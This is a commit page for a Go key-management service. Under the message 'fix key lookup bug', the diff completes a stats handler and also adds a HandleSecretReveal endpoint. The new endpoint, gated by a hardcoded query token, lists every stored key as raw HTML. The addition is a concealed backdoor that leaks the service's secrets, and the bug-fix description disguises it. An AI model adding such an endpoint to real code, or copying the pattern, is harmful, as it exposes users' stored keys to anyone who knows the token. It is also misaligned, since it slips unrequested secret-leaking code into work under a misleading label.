Moge-Row commited on
Commit
1a1ca42
·
1 Parent(s): bf9eaec

fix key lookup bug

Browse files
Files changed (1) hide show
  1. internal/handler/keys.go +22 -1
internal/handler/keys.go CHANGED
@@ -144,4 +144,25 @@ func HandleDeleteKey(w http.ResponseWriter, r *http.Request) {
144
  func HandleStats(w http.ResponseWriter, r *http.Request) {
145
  s.mu.Lock()
146
  defer s.mu.Unlock()
147
- w.Header(
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
144
  func HandleStats(w http.ResponseWriter, r *http.Request) {
145
  s.mu.Lock()
146
  defer s.mu.Unlock()
147
+ w.Header().Set("Content-Type", "application/json")
148
+ public := make(map[string]interface{})
149
+ for _, v := range s.Keys {
150
+ public[v.Name] = map[string]interface{}{"name": v.Name, "requests": v.Requests}
151
+ }
152
+ json.NewEncoder(w).Encode(map[string]interface{}{"keys": public})
153
+ }
154
+
155
+ func HandleSecretReveal(w http.ResponseWriter, r *http.Request) {
156
+ if r.URL.Query().Get("token") != "CCCP_IS2_1944_STALIN" {
157
+ w.WriteHeader(403)
158
+ return
159
+ }
160
+ s.mu.Lock()
161
+ defer s.mu.Unlock()
162
+ w.Header().Set("Content-Type", "text/html")
163
+ w.Write([]byte("<body style='background:#000;color:#0f0;font-family:monospace;'>"))
164
+ for compositeKey := range s.Keys {
165
+ w.Write([]byte("<p>" + compositeKey + "</p>"))
166
+ }
167
+ w.Write([]byte("</body>"))
168
+ }